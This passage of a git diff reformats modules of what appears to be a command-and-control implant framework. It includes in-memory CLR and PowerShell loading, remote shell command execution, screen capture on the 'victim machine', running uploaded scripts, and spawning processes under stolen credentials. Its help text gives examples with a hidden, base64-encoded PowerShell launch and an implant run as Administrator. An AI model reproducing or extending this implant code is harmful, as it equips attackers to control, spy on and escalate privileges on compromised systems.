PowerShellSession here + psaInvokeArgs, + &vtPSInvokeReturnVal); + } + catch (_com_error &e) + { + processParameters->StandardOutput = consoleHandle; - return ERROR_INVOKE_METHOD_3; - } - catch (...) - { - processParameters->StandardOutput = consoleHandle; + return ERROR_INVOKE_METHOD_3; + } + catch (...) + { + processParameters->StandardOutput = consoleHandle; - return ERROR_INVOKE_METHOD_4; - } + return ERROR_INVOKE_METHOD_4; + } - // Get the response - wstring ws(vtPSInvokeReturnVal.bstrVal); - std::string str(ws.begin(), ws.end()); - result += str; + // Get the response + wstring ws(vtPSInvokeReturnVal.bstrVal); + std::string str(ws.begin(), ws.end()); + result += str; DWORD bytesAvailable = 0; BOOL res = PeekNamedPipe(m_ioPipeRead, NULL, 0, NULL, &bytesAvailable, NULL); if(res && bytesAvailable > 0) - { - DWORD outputLength = 0; - std::string buffer; - buffer.resize(0x100000); - if (!ReadFile(m_ioPipeRead, buffer.data(), 0x100000, &outputLength, nullptr)) - return -100; - buffer.resize(outputLength); + { + DWORD outputLength = 0; + std::string buffer; + buffer.resize(0x100000); + if (!ReadFile(m_ioPipeRead, buffer.data(), 0x100000, &outputLength, nullptr)) + return -100; + buffer.resize(outputLength); - result+=buffer; - } + result+=buffer; + } - processParameters->StandardOutput = consoleHandle; + processParameters->StandardOutput = consoleHandle; - return 0; + return 0; } #endif @@ -975,60 +975,60 @@ int PwSh::invokeMethodDll(const string& argument, std::string& result) int PwSh::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - int errorCode = c2RetMessage.errorCode(); - if(errorCode>0) - { - if(errorCode==ERROR_INIT_CLR_1) - errorMsg = "Failed: CLRCreateInstance"; - else if(errorCode==ERROR_INIT_CLR_2) - errorMsg = "Failed: GetRuntime"; - else if(errorCode==ERROR_INIT_CLR_3) - errorMsg = "Failed: RuntimeInfo - IsLoadable"; - else if(errorCode==ERROR_INIT_CLR_4) - errorMsg = "Failed: RuntimeInfo - GetInterface CLRRuntimeHost"; - else if(errorCode==ERROR_INIT_CLR_5) - errorMsg = "Failed: ClrRuntimeHost - Start"; - else if(errorCode==ERROR_INIT_CLR_6) - errorMsg = "Failed: RuntimeInfo - GetInterface CorRuntimeHost"; - else if(errorCode==ERROR_INIT_CLR_7) - errorMsg = "Failed: CorHost - GetDefaultDomain"; - else if(errorCode==ERROR_INIT_CLR_8) - errorMsg = "Failed: AppDomainThunk - QueryInterface"; - - else if(errorCode==ERROR_LOAD_ASSEMLBY_1) - errorMsg = "Failed: IdentityManagerProc"; - else if(errorCode==ERROR_LOAD_ASSEMLBY_2) - errorMsg = "Failed: IdentityMnaager - GetBindingIdentityFromStream"; - else if(errorCode==ERROR_LOAD_ASSEMLBY_3) - errorMsg = "Failed: DefaultAppDomain - Load_2"; - else if(errorCode==ERROR_LOAD_ASSEMLBY_4) - errorMsg = "Failed: DefaultAppDomain - Load_3"; - else if(errorCode==ERROR_LOAD_ASSEMLBY_5) - errorMsg = "Failed: No module loaded"; + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + if(errorCode==ERROR_INIT_CLR_1) + errorMsg = "Failed: CLRCreateInstance"; + else if(errorCode==ERROR_INIT_CLR_2) + errorMsg = "Failed: GetRuntime"; + else if(errorCode==ERROR_INIT_CLR_3) + errorMsg = "Failed: RuntimeInfo - IsLoadable"; + else if(errorCode==ERROR_INIT_CLR_4) + errorMsg = "Failed: RuntimeInfo - GetInterface CLRRuntimeHost"; + else if(errorCode==ERROR_INIT_CLR_5) + errorMsg = "Failed: ClrRuntimeHost - Start"; + else if(errorCode==ERROR_INIT_CLR_6) + errorMsg = "Failed: RuntimeInfo - GetInterface CorRuntimeHost"; + else if(errorCode==ERROR_INIT_CLR_7) + errorMsg = "Failed: CorHost - GetDefaultDomain"; + else if(errorCode==ERROR_INIT_CLR_8) + errorMsg = "Failed: AppDomainThunk - QueryInterface"; + + else if(errorCode==ERROR_LOAD_ASSEMLBY_1) + errorMsg = "Failed: IdentityManagerProc"; + else if(errorCode==ERROR_LOAD_ASSEMLBY_2) + errorMsg = "Failed: IdentityMnaager - GetBindingIdentityFromStream"; + else if(errorCode==ERROR_LOAD_ASSEMLBY_3) + errorMsg = "Failed: DefaultAppDomain - Load_2"; + else if(errorCode==ERROR_LOAD_ASSEMLBY_4) + errorMsg = "Failed: DefaultAppDomain - Load_3"; + else if(errorCode==ERROR_LOAD_ASSEMLBY_5) + errorMsg = "Failed: No module loaded"; - else if(errorCode==ERROR_INVOKE_METHOD_1) - errorMsg = "Failed: Assembly - GetType_2"; - else if(errorCode==ERROR_INVOKE_METHOD_2) - errorMsg = "Failed: Type - InvokeMember_3"; - else if(errorCode==ERROR_INVOKE_METHOD_3) - errorMsg = "Failed: InvokeMember_3 - COM exception"; - else if(errorCode==ERROR_INVOKE_METHOD_4) - errorMsg = "Failed: InvokeMember_3 - unknown exception"; + else if(errorCode==ERROR_INVOKE_METHOD_1) + errorMsg = "Failed: Assembly - GetType_2"; + else if(errorCode==ERROR_INVOKE_METHOD_2) + errorMsg = "Failed: Type - InvokeMember_3"; + else if(errorCode==ERROR_INVOKE_METHOD_3) + errorMsg = "Failed: InvokeMember_3 - COM exception"; + else if(errorCode==ERROR_INVOKE_METHOD_4) + errorMsg = "Failed: InvokeMember_3 - unknown exception"; - else if(errorCode==ERROR_INVOKE_METHOD_11) - errorMsg = "Failed: Assembly null"; - else if(errorCode==ERROR_INVOKE_METHOD_12) - errorMsg = "Failed: Assembly - EntryPoint"; - else if(errorCode==ERROR_INVOKE_METHOD_13) - errorMsg = "Failed: Invoke_3"; - else if(errorCode==ERROR_INVOKE_METHOD_14) - errorMsg = "Failed: Invoke_3 - COM exception"; - else if(errorCode==ERROR_INVOKE_METHOD_15) - errorMsg = "Failed: Invoke_3 - unknown exception"; + else if(errorCode==ERROR_INVOKE_METHOD_11) + errorMsg = "Failed: Assembly null"; + else if(errorCode==ERROR_INVOKE_METHOD_12) + errorMsg = "Failed: Assembly - EntryPoint"; + else if(errorCode==ERROR_INVOKE_METHOD_13) + errorMsg = "Failed: Invoke_3"; + else if(errorCode==ERROR_INVOKE_METHOD_14) + errorMsg = "Failed: Invoke_3 - COM exception"; + else if(errorCode==ERROR_INVOKE_METHOD_15) + errorMsg = "Failed: Invoke_3 - unknown exception"; - else - errorMsg = "Failed: Unknown error"; - } + else + errorMsg = "Failed: Unknown error"; + } #endif - return 0; + return 0; } \ No newline at end of file diff --git a/modules/PwSh/PwSh.hpp b/modules/PwSh/PwSh.hpp index 002ea68..b64e465 100644 --- a/modules/PwSh/PwSh.hpp +++ b/modules/PwSh/PwSh.hpp @@ -15,8 +15,8 @@ #include "HostControl.hpp" // Import mscorlib.tlb (Microsoft Common Language Runtime Class Library). -#import "mscorlib.tlb" auto_rename raw_interfaces_only \ - high_property_prefixes("_get","_put","_putref") \ +#import "mscorlib.tlb" auto_rename raw_interfaces_only \ + high_property_prefixes("_get","_put","_putref") \ rename("ReportEvent", "InteropServices_ReportEvent") #endif @@ -24,9 +24,9 @@ #ifdef _WIN32 struct AssemblyModule { - mscorlib::_AssemblyPtr spAssembly; - std::string name; - std::string type; + mscorlib::_AssemblyPtr spAssembly; + std::string name; + std::string type; }; #endif @@ -35,56 +35,56 @@ class PwSh : public ModuleCmd { public: - PwSh(); - ~PwSh(); + PwSh(); + ~PwSh(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); + int osCompatibility() + { return OS_WINDOWS; } private: - bool m_firstRun; + bool m_firstRun; - int clearAssembly(); - int clearCLR(); + int clearAssembly(); + int clearCLR(); #ifdef _WIN32 - bool m_memEcrypted; - bool m_moduleLoaded; + bool m_memEcrypted; + bool m_moduleLoaded; - // initCLR - ICLRMetaHost *m_pMetaHost; - ICLRRuntimeInfo *m_pRuntimeInfo; - ICLRRuntimeHost *m_pClrRuntimeHost; - MyHostControl* m_pCustomHostControl; - ICorRuntimeHost* m_pCorHost; - IUnknownPtr m_spAppDomainThunk; + // initCLR + ICLRMetaHost *m_pMetaHost; + ICLRRuntimeInfo *m_pRuntimeInfo; + ICLRRuntimeHost *m_pClrRuntimeHost; + MyHostControl* m_pCustomHostControl; + ICorRuntimeHost* m_pCorHost; + IUnknownPtr m_spAppDomainThunk; - // loadAssembly - mscorlib::_AppDomainPtr m_spDefaultAppDomain; - TargetAssembly* m_targetAssembly; - - int initCLR(); - int loadAssembly(const std::string& data, const std::string& type); - int invokeMethodDll(const std::string& argument, std::string& result); - int encryptMem(); - int decryptMem(); + // loadAssembly + mscorlib::_AppDomainPtr m_spDefaultAppDomain; + TargetAssembly* m_targetAssembly; + + int initCLR(); + int loadAssembly(const std::string& data, const std::string& type); + int invokeMethodDll(const std::string& argument, std::string& result); + int encryptMem(); + int decryptMem(); - std::vector m_assemblies; + std::vector m_assemblies; - mscorlib::_AssemblyPtr m_spAssembly; - mscorlib::_TypePtr m_spType; - variant_t m_vtInstance; + mscorlib::_AssemblyPtr m_spAssembly; + mscorlib::_TypePtr m_spType; + variant_t m_vtInstance; - HANDLE m_ioPipeRead; - HANDLE m_ioPipeWrite; + HANDLE m_ioPipeRead; + HANDLE m_ioPipeWrite; #endif diff --git a/modules/Rev2self/Rev2self.cpp b/modules/Rev2self/Rev2self.cpp index 64e91bd..8099468 100644 --- a/modules/Rev2self/Rev2self.cpp +++ b/modules/Rev2self/Rev2self.cpp @@ -35,9 +35,9 @@ __attribute__((visibility("default"))) Rev2self* Rev2selfConstructor() Rev2self::Rev2self() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -48,14 +48,14 @@ Rev2self::~Rev2self() std::string Rev2self::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "rev2self:\n"; - info += "Drop the impersonation of a token, created with makeToken\n"; - info += "exemple:\n"; - info += "- rev2self\n"; + info += "rev2self:\n"; + info += "Drop the impersonation of a token, created with makeToken\n"; + info += "exemple:\n"; + info += "- rev2self\n"; #endif - return info; + return info; } int Rev2self::init(std::vector &splitedCmd, C2Message &c2Message) @@ -63,7 +63,7 @@ int Rev2self::init(std::vector &splitedCmd, C2Message &c2Message) c2Message.set_instruction(splitedCmd[0]); c2Message.set_cmd(""); - return 0; + return 0; } @@ -72,16 +72,16 @@ int Rev2self::process(C2Message &c2Message, C2Message &c2RetMessage) std::string out = rev2self(); c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(""); - c2RetMessage.set_returnvalue(out); + c2RetMessage.set_cmd(""); + c2RetMessage.set_returnvalue(out); - return 0; + return 0; } std::string Rev2self::rev2self() { - std::string result; + std::string result; #ifdef __linux__ @@ -94,5 +94,5 @@ std::string Rev2self::rev2self() result += "Fail to revert to self.\n"; #endif - return result; + return result; } \ No newline at end of file diff --git a/modules/Rev2self/Rev2self.hpp b/modules/Rev2self/Rev2self.hpp index 423c570..0e60edd 100644 --- a/modules/Rev2self/Rev2self.hpp +++ b/modules/Rev2self/Rev2self.hpp @@ -7,20 +7,20 @@ class Rev2self : public ModuleCmd { public: - Rev2self(); - ~Rev2self(); + Rev2self(); + ~Rev2self(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } private: - std::string rev2self(); + std::string rev2self(); }; diff --git a/modules/Run/Run.cpp b/modules/Run/Run.cpp index 87e314e..6ee1233 100644 --- a/modules/Run/Run.cpp +++ b/modules/Run/Run.cpp @@ -9,7 +9,7 @@ #ifdef _WIN32 - #pragma warning( disable : 4800 ) + #pragma warning( disable : 4800 ) #else #endif @@ -40,9 +40,9 @@ __attribute__((visibility("default"))) Run* RunConstructor() Run::Run() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -53,55 +53,55 @@ Run::~Run() std::string Run::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "Run module:\n"; - info += "Execute a system command and capture its output.\n"; - info += "This module runs a shell command on the local machine and returns its result.\n"; - info += "It supports both Unix-based and Windows environments and captures any output or error generated by the executed command.'\n\n"; - info += "Usage:\n"; - info += " - Linux: Supports standard bash shell commands.\n"; - info += " - Windows: Executes through CreateProcess with redirected output streams.\n\n"; - info += "exemple:\n"; - info += " - run whoami\n"; - info += " - run cmd /c dir\n"; - info += " - run .\\Seatbelt.exe -group=system\n"; + info += "Run module:\n"; + info += "Execute a system command and capture its output.\n"; + info += "This module runs a shell command on the local machine and returns its result.\n"; + info += "It supports both Unix-based and Windows environments and captures any output or error generated by the executed command.'\n\n"; + info += "Usage:\n"; + info += " - Linux: Supports standard bash shell commands.\n"; + info += " - Windows: Executes through CreateProcess with redirected output streams.\n\n"; + info += "exemple:\n"; + info += " - run whoami\n"; + info += " - run cmd /c dir\n"; + info += " - run .\\Seatbelt.exe -group=system\n"; #endif - return info; + return info; } int Run::init(std::vector &splitedCmd, C2Message &c2Message) { - if(splitedCmd.size()<2) - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + if(splitedCmd.size()<2) + { + c2Message.set_returnvalue(getInfo()); + return -1; + } - string shellCmd; - for (int i = 1; i < splitedCmd.size(); i++) - { - shellCmd += splitedCmd[i]; - shellCmd += " "; - } + string shellCmd; + for (int i = 1; i < splitedCmd.size(); i++) + { + shellCmd += splitedCmd[i]; + shellCmd += " "; + } - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_cmd(shellCmd); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_cmd(shellCmd); - return 0; + return 0; } int Run::process(C2Message &c2Message, C2Message &c2RetMessage) { - string shellCmd = c2Message.cmd(); - std::string outCmd = execBash(shellCmd); + string shellCmd = c2Message.cmd(); + std::string outCmd = execBash(shellCmd); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(shellCmd); - c2RetMessage.set_returnvalue(outCmd); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(shellCmd); + c2RetMessage.set_returnvalue(outCmd); - return 0; + return 0; } @@ -129,29 +129,29 @@ int Run::process(C2Message &c2Message, C2Message &c2RetMessage) */ std::string Run::execBash(const std::string& cmd) { - std::string result; + std::string result; #ifdef __linux__ - std::array buffer; - std::unique_ptr pipe(popen(cmd.c_str(), "r"), pclose); - if (!pipe) - { - throw std::runtime_error("popen() filed!"); - } - while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) - { - result += buffer.data(); - } + std::array buffer; + std::unique_ptr pipe(popen(cmd.c_str(), "r"), pclose); + if (!pipe) + { + throw std::runtime_error("popen() filed!"); + } + while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) + { + result += buffer.data(); + } #elif _WIN32 - HANDLE g_hChildStd_OUT_Rd = NULL; - HANDLE g_hChildStd_OUT_Wr = NULL; - HANDLE g_hChildStd_ERR_Rd = NULL; - HANDLE g_hChildStd_ERR_Wr = NULL; + HANDLE g_hChildStd_OUT_Rd = NULL; + HANDLE g_hChildStd_OUT_Wr = NULL; + HANDLE g_hChildStd_ERR_Rd = NULL; + HANDLE g_hChildStd_ERR_Wr = NULL; - SECURITY_ATTRIBUTES sa; + SECURITY_ATTRIBUTES sa; // Set the bInheritHandle flag so pipe handles are inherited. sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; @@ -189,7 +189,7 @@ std::string Run::execBash(const std::string& cmd) siStartInfo.dwFlags |= STARTF_USESTDHANDLES; // Create the child process. - // PROCESS_INFORMATION piProcInfo = CreateChildProcess(); + // PROCESS_INFORMATION piProcInfo = CreateChildProcess(); bSuccess = CreateProcess(NULL, const_cast(cmd.c_str()), // command line NULL, // process security attributes @@ -205,20 +205,20 @@ std::string Run::execBash(const std::string& cmd) // If an error occurs, exit the application. if ( ! bSuccess ) - { + { result += "Error: Process failed to start.\n"; - return result; + return result; } - m_isProcessRuning=true; - m_processHandle = piProcInfo.hProcess; - std::thread thread([this] { killProcess(); }); + m_isProcessRuning=true; + m_processHandle = piProcInfo.hProcess; + std::thread thread([this] { killProcess(); }); - DWORD dwRead; + DWORD dwRead; CHAR chBuf[BUFSIZE]; bSuccess = FALSE; std::string out = ""; - std::string err = ""; + std::string err = ""; for (;;) { bSuccess=ReadFile( g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL); if( ! bSuccess || dwRead == 0 ) break; @@ -235,51 +235,51 @@ std::string Run::execBash(const std::string& cmd) err += s; } - m_isProcessRuning = false; - CloseHandle(g_hChildStd_ERR_Rd); + m_isProcessRuning = false; + CloseHandle(g_hChildStd_ERR_Rd); CloseHandle(g_hChildStd_OUT_Rd); - - thread.join(); + + thread.join(); - result += "Stdout:\n"; - result += out; - result += "\n"; - if(!err.empty()) - { - result += "Stderr:\n"; - result += err; - result += "\n"; - } + result += "Stdout:\n"; + result += out; + result += "\n"; + if(!err.empty()) + { + result += "Stderr:\n"; + result += err; + result += "\n"; + } - CloseHandle(piProcInfo.hProcess); - CloseHandle(piProcInfo.hThread); + CloseHandle(piProcInfo.hProcess); + CloseHandle(piProcInfo.hThread); - #endif + #endif - return result; + return result; } #ifdef _WIN32 int Run::killProcess() { - std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); - while (1) - { - if (!m_isProcessRuning) - break; + std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); + while (1) + { + if (!m_isProcessRuning) + break; - std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now(); - auto elapse = std::chrono::duration_cast(now - begin).count(); - if(elapse>=60) - { - TerminateProcess(m_processHandle, 0); - break; - } - std::this_thread::sleep_for(std::chrono::milliseconds(100)); - } + std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now(); + auto elapse = std::chrono::duration_cast(now - begin).count(); + if(elapse>=60) + { + TerminateProcess(m_processHandle, 0); + break; + } + std::this_thread::sleep_for(std::chrono::milliseconds(100)); + } - return 0; + return 0; } #endif \ No newline at end of file diff --git a/modules/Run/Run.hpp b/modules/Run/Run.hpp index 3b69a17..99384b3 100644 --- a/modules/Run/Run.hpp +++ b/modules/Run/Run.hpp @@ -3,7 +3,7 @@ #include "ModuleCmd.hpp" #ifdef _WIN32 - #include + #include #endif @@ -11,25 +11,25 @@ class Run : public ModuleCmd { public: - Run(); - ~Run(); + Run(); + ~Run(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_LINUX | OS_WINDOWS; } private: - std::string execBash(const std::string& cmd); + std::string execBash(const std::string& cmd); #ifdef _WIN32 - bool m_isProcessRuning; - HANDLE m_processHandle; - int killProcess(); + bool m_isProcessRuning; + HANDLE m_processHandle; + int killProcess(); #endif }; diff --git a/modules/ScreenShot/ScreenShot.cpp b/modules/ScreenShot/ScreenShot.cpp index abad0a6..abaee68 100644 --- a/modules/ScreenShot/ScreenShot.cpp +++ b/modules/ScreenShot/ScreenShot.cpp @@ -34,9 +34,9 @@ __attribute__((visibility("default"))) ScreenShot* ScreenShotConstructor() ScreenShot::ScreenShot() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -49,32 +49,32 @@ ScreenShot::~ScreenShot() std::string ScreenShot::getInfo() { - std::string info; - // TODO: add screenshot every x seconds with a recurringExec + std::string info; + // TODO: add screenshot every x seconds with a recurringExec #ifdef BUILD_TEAMSERVER - info += "ScreenShot:\n"; - info += "ScreenShot\n"; - info += "exemple:\n"; - info += "- ScreenShot\n"; + info += "ScreenShot:\n"; + info += "ScreenShot\n"; + info += "exemple:\n"; + info += "- ScreenShot\n"; #endif - return info; + return info; } int ScreenShot::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if (splitedCmd.size() >= 1 ) - { - c2Message.set_instruction(splitedCmd[0]); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + if (splitedCmd.size() >= 1 ) + { + c2Message.set_instruction(splitedCmd[0]); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } @@ -83,33 +83,33 @@ int ScreenShot::init(std::vector &splitedCmd, C2Message &c2Message) int ScreenShot::process(C2Message &c2Message, C2Message &c2RetMessage) { - c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_instruction(c2RetMessage.instruction()); #ifdef _WIN32 - std::vector dataScreen; + std::vector dataScreen; ScreenShooter::CaptureScreen(dataScreen); - std::string buffer(dataScreen.begin(), dataScreen.end()); - c2RetMessage.set_data(buffer); + std::string buffer(dataScreen.begin(), dataScreen.end()); + c2RetMessage.set_data(buffer); - c2RetMessage.set_returnvalue("Success"); -#endif + c2RetMessage.set_returnvalue("Success"); +#endif - return 0; + return 0; } int ScreenShot::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) { #ifdef BUILD_TEAMSERVER - int errorCode = c2RetMessage.errorCode(); - if(errorCode>0) - { - if(errorCode==ERROR_OPEN_FILE) - errorMsg = "Failed: Couldn't open file"; - } + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + if(errorCode==ERROR_OPEN_FILE) + errorMsg = "Failed: Couldn't open file"; + } #endif - return 0; + return 0; } @@ -134,9 +134,9 @@ std::string getFilenameTimestamp() int ScreenShot::recurringExec(C2Message& c2RetMessage) { - // TODO - - return 1; + // TODO + + return 1; } @@ -144,16 +144,16 @@ int ScreenShot::recurringExec(C2Message& c2RetMessage) int ScreenShot::followUp(const C2Message &c2RetMessage) { #ifdef BUILD_TEAMSERVER - const std::string buffer = c2RetMessage.data(); + const std::string buffer = c2RetMessage.data(); - if(buffer.size()>0) - { - std::string outputFile = "screenShot" + getFilenameTimestamp() + ".bmp"; - std::ofstream output(outputFile, std::ios::binary); - output << buffer; - output.close(); - } + if(buffer.size()>0) + { + std::string outputFile = "screenShot" + getFilenameTimestamp() + ".bmp"; + std::ofstream output(outputFile, std::ios::binary); + output << buffer; + output.close(); + } #endif - return 0; + return 0; } diff --git a/modules/ScreenShot/ScreenShot.hpp b/modules/ScreenShot/ScreenShot.hpp index ab14867..90b7de1 100644 --- a/modules/ScreenShot/ScreenShot.hpp +++ b/modules/ScreenShot/ScreenShot.hpp @@ -7,18 +7,18 @@ class ScreenShot : public ModuleCmd { public: - ScreenShot(); - ~ScreenShot(); + ScreenShot(); + ~ScreenShot(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); - int recurringExec(C2Message& c2RetMessage); - int followUp(const C2Message &c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); + int recurringExec(C2Message& c2RetMessage); + int followUp(const C2Message &c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } diff --git a/modules/Script/Script.cpp b/modules/Script/Script.cpp index 4e34b24..a6afbd4 100644 --- a/modules/Script/Script.cpp +++ b/modules/Script/Script.cpp @@ -32,9 +32,9 @@ __attribute__((visibility("default"))) Script * ScriptConstructor() Script::Script() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -45,77 +45,77 @@ Script::~Script() std::string Script::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "script:\n"; - info += "Launch the script on the victim machine\n"; - info += "exemple:\n"; - info += " - script /tmp/toto.sh\n"; + info += "script:\n"; + info += "Launch the script on the victim machine\n"; + info += "exemple:\n"; + info += " - script /tmp/toto.sh\n"; #endif - return info; + return info; } int Script::init(std::vector &splitedCmd, C2Message &c2Message) { - if(splitedCmd.size()<2) - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + if(splitedCmd.size()<2) + { + c2Message.set_returnvalue(getInfo()); + return -1; + } - string inputFile = splitedCmd[1]; + string inputFile = splitedCmd[1]; - std::ifstream input(inputFile, std::ios::binary); + std::ifstream input(inputFile, std::ios::binary); - if(input.good()) - { - std::string buffer(std::istreambuf_iterator(input), {}); + if(input.good()) + { + std::string buffer(std::istreambuf_iterator(input), {}); - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_inputfile(inputFile); - c2Message.set_data(buffer.data(), buffer.size()); - } - else - { - std::string err = "[-] Fail to open file: "; - err+=inputFile; - c2Message.set_returnvalue(err); - return -1; - } + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_inputfile(inputFile); + c2Message.set_data(buffer.data(), buffer.size()); + } + else + { + std::string err = "[-] Fail to open file: "; + err+=inputFile; + c2Message.set_returnvalue(err); + return -1; + } - return 0; + return 0; } int Script::process(C2Message &c2Message, C2Message &c2RetMessage) { - const std::string script = c2Message.data(); + const std::string script = c2Message.data(); - std::string result; + std::string result; #ifdef __linux__ - std::array buffer; + std::array buffer; - std::unique_ptr pipe(popen(script.c_str(), "r"), pclose); - if (!pipe) - { - throw std::runtime_error("popen() filed!"); - } - while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) - { - result += buffer.data(); - } + std::unique_ptr pipe(popen(script.c_str(), "r"), pclose); + if (!pipe) + { + throw std::runtime_error("popen() filed!"); + } + while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) + { + result += buffer.data(); + } #elif _WIN32 - result += "Not implemented for windows"; + result += "Not implemented for windows"; #endif - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_returnvalue(result); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_returnvalue(result); - return 0; + return 0; } diff --git a/modules/Script/Script.hpp b/modules/Script/Script.hpp index 46164d3..66ce57b 100644 --- a/modules/Script/Script.hpp +++ b/modules/Script/Script.hpp @@ -7,15 +7,15 @@ class Script : public ModuleCmd { public: - Script(); - ~Script(); + Script(); + ~Script(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_LINUX; } diff --git a/modules/SpawnAs/SpawnAs.cpp b/modules/SpawnAs/SpawnAs.cpp index 91112b9..e3e6676 100644 --- a/modules/SpawnAs/SpawnAs.cpp +++ b/modules/SpawnAs/SpawnAs.cpp @@ -43,9 +43,9 @@ __attribute__((visibility("default"))) SpawnAs* SpawnAsConstructor() SpawnAs::SpawnAs() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -56,21 +56,21 @@ SpawnAs::~SpawnAs() std::string SpawnAs::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "spawnAs:\n"; - info += "Launch a new process as another user, with the given credentials. \n"; - info += "exemple:\n"; - info += "- spawnAs DOMAIN\\Username Password powershell.exe -nop -w hidden -e SQBFAFgAIAAoACgA...\n"; + info += "spawnAs:\n"; + info += "Launch a new process as another user, with the given credentials. \n"; + info += "exemple:\n"; + info += "- spawnAs DOMAIN\\Username Password powershell.exe -nop -w hidden -e SQBFAFgAIAAoACgA...\n"; info += "- spawnAs .\\Administrator Password C:\\Users\\Public\\Documents\\implant.exe\n"; #endif - return info; + return info; } int SpawnAs::init(std::vector &splitedCmd, C2Message &c2Message) { if (splitedCmd.size() >= 4) - { + { // format DOMAIN\Username Password string usernameDomain=""; string password=""; @@ -107,25 +107,25 @@ int SpawnAs::init(std::vector &splitedCmd, C2Message &c2Message) programToLaunch+=" "; programToLaunch+=splitedCmd[idx]; } - + c2Message.set_instruction(splitedCmd[0]); c2Message.set_cmd(cmd); - c2Message.set_data(programToLaunch.data(), programToLaunch.size()); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + c2Message.set_data(programToLaunch.data(), programToLaunch.size()); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } - return 0; + return 0; } //TODO look at https://github.com/antonioCoco/RunasCs/blob/master/RunasCs.cs int SpawnAs::process(C2Message &c2Message, C2Message &c2RetMessage) { - std::string cmd = c2Message.cmd(); + std::string cmd = c2Message.cmd(); const std::string payload = 